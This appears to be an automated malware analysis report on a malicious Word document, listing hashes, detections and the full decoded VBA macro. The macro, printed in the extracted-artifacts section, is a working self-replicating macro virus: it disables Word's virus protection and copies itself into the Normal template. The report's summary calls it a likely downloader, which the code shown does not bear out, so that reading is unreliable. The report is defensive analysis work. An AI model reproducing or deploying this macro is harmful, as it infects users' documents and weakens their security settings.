Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd36f169510d4fd2…

MALICIOUS

Office (OLE)

37.5 KB Created: 2020-05-25 06:52:00 Authoring application: Microsoft Office Word First seen: 2020-07-02
MD5: 1302b48c7e780d0a794aea5e981d6033 SHA-1: 64f65a9fbcee0d3d1e319c3083fc7b691107b635 SHA-256: bd36f169510d4fd2f0233bca2897b5fc0264f8ab8e4dd2aefb3d61594a9e2715
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro. This macro is designed to overwrite its own code with content from the first 20 lines of the document's code module and then save the document. This behavior is indicative of a downloader or dropper mechanism, likely intended to fetch and execute a secondary payload. The presence of the 'APMPKILL' comments and the critical ClamAV detection further support its malicious nature.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    'KILL
    Private Sub Document_Open()
       On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: f136142b40965ce41763caed3acb0ccab48ef04e860145c7f9d9ef01967df9ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub